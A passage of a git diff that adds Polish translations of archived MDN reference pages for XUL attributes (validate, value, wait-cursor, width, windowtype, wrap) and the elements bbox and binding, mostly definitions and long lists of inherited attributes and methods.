+ <li><code>typing</code>: Użytkownik wypełnia pole tekstowe.</li>
+ <li><code>scrolling</code>: Użytkownik przewija pasek przez pole tekstowe.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/validate/index.html b/files/pl/mozilla/tech/xul/atrybut/validate/index.html
new file mode 100644
index 0000000000..3a86e502f8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/validate/index.html
@@ -0,0 +1,25 @@
+---
+title: validate
+slug: Mozilla/Tech/XUL/Atrybut/validate
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/validate
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-validate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/validate">validate</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Atrybut ten określa, czy obrazek ma być wczytywany z pamięci podręcznej. Może być to przydatne, jeśli obrazki są wczytywane z serwera zdalnego, albo planowana jest częsta ich podmiana. Poniższe wartości są akceptowane; pominięcie tego atrybutu spowoduje zastosowanie wartości domyślnej.</dd>
+</dl>
+<ul>
+ <li><code>always</code>: Obrazek będzie zawsze sprawdzany, czy powinien być wczytany ponownie.</li>
+ <li><code>never</code>: Obrazek będzie wczytywany z pamięci podręcznej, o ile to tylko możliwe.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/value/index.html b/files/pl/mozilla/tech/xul/atrybut/value/index.html
new file mode 100644
index 0000000000..57e42ed489
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/value/index.html
@@ -0,0 +1,30 @@
+---
+title: value
+slug: Mozilla/Tech/XUL/Atrybut/value
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/value
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code><a href="pl/XUL/Atrybut/label.value">label.value</a></code></li>
+ <li><code><a href="pl/XUL/Atrybut/textbox.value">textbox.value</a></code></li>
+ <li><code><a href="pl/XUL/Atrybut/textnode.value">textnode.value</a></code></li>
+ </ul>
+</div>
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/wait-cursor/index.html b/files/pl/mozilla/tech/xul/atrybut/wait-cursor/index.html
new file mode 100644
index 0000000000..c6a7fd539a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/wait-cursor/index.html
@@ -0,0 +1,21 @@
+---
+title: wait-cursor
+slug: Mozilla/Tech/XUL/Atrybut/wait-cursor
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/wait-cursor
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ustaw ten atrybut na wartość <code>true</code>, aby zmienić kursor na zajęty, kiedy znajdzie się on nad danym elementem. Zwykle ustawia się ten atrybut w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> lub innym elemencie najwyższego poziomu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/width/index.html b/files/pl/mozilla/tech/xul/atrybut/width/index.html
new file mode 100644
index 0000000000..6a81d4bf4d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/width/index.html
@@ -0,0 +1,21 @@
+---
+title: width
+slug: Mozilla/Tech/XUL/Atrybut/width
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/width
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ (reprezentujący integer)</dd>
+ <dd>
+ Szerokość elementu w pikselach. Zwykle jednak powinno stosować się własność width w arkuszu stylów.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/windowtype/index.html b/files/pl/mozilla/tech/xul/atrybut/windowtype/index.html
new file mode 100644
index 0000000000..c4837a7a87
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/windowtype/index.html
@@ -0,0 +1,18 @@
+---
+title: windowtype
+slug: Mozilla/Tech/XUL/Atrybut/windowtype
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/windowtype
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-windowtype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/windowtype">windowtype</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Ustawia wartość atrybutu na łańcuch znaków, który będzie identyfikował typ okna. Może być wykorzystany, na przykład, do odróżnienia okna przeglądarki i okna edytora. Część funkcji obsługi okien w Mozilli stosuje ten atrybut do grupowania razem okien tego samego typu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/wrap/index.html b/files/pl/mozilla/tech/xul/atrybut/wrap/index.html
new file mode 100644
index 0000000000..45b653c188
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/wrap/index.html
@@ -0,0 +1,17 @@
+---
+title: wrap
+slug: Mozilla/Tech/XUL/Atrybut/wrap
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/wrap
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-wrap"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wrap">wrap</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Ustawia wartość atrybutu na <code>off</code>, aby wyłączyć zawijanie linii w polu tekstowym. Jeśli atrybut nie jest podany, zawijanie linii jest włączone.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/bbox/index.html b/files/pl/mozilla/tech/xul/bbox/index.html
new file mode 100644
index 0000000000..a78db47690
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/bbox/index.html
@@ -0,0 +1,91 @@
+---
+title: bbox
+slug: Mozilla/Tech/XUL/bbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/bbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Poziome pudełko, które jest ułożone na linii odniesienia. Jest to odpowiednik stosowanego elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code> wraz z atrybutem <code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code> ustawionym do linii odniesienia. </p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/binding/index.html b/files/pl/mozilla/tech/xul/binding/index.html
new file mode 100644
index 0000000000..b7708175f0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/binding/index.html
@@ -0,0 +1,114 @@
+---
+title: binding
+slug: Mozilla/Tech/XUL/binding
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/binding
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Powinien zawierać się w wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/bindings" title="bindings">bindings</a></code>. <code>binding</code> jest stosowany do wiązania zmiennej do węzła. Podobnie jak element <code><a href="/pl/docs/Mozilla/Tech/XUL/triple" title="triple">triple</a></code> może być stosowany do wiązania danej własności dopasowanej do węzła ze zmienną o danej nazwę. Nazwa ta może być wykorzystana w przypisaniu akcji do reguły.
+</p>
+<dl><dt> Własności </dt><dd> <a href="#p-object">object</a>, <a href="#p-predicate">predicate</a>, <a href="#p-subject">subject</a> </dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
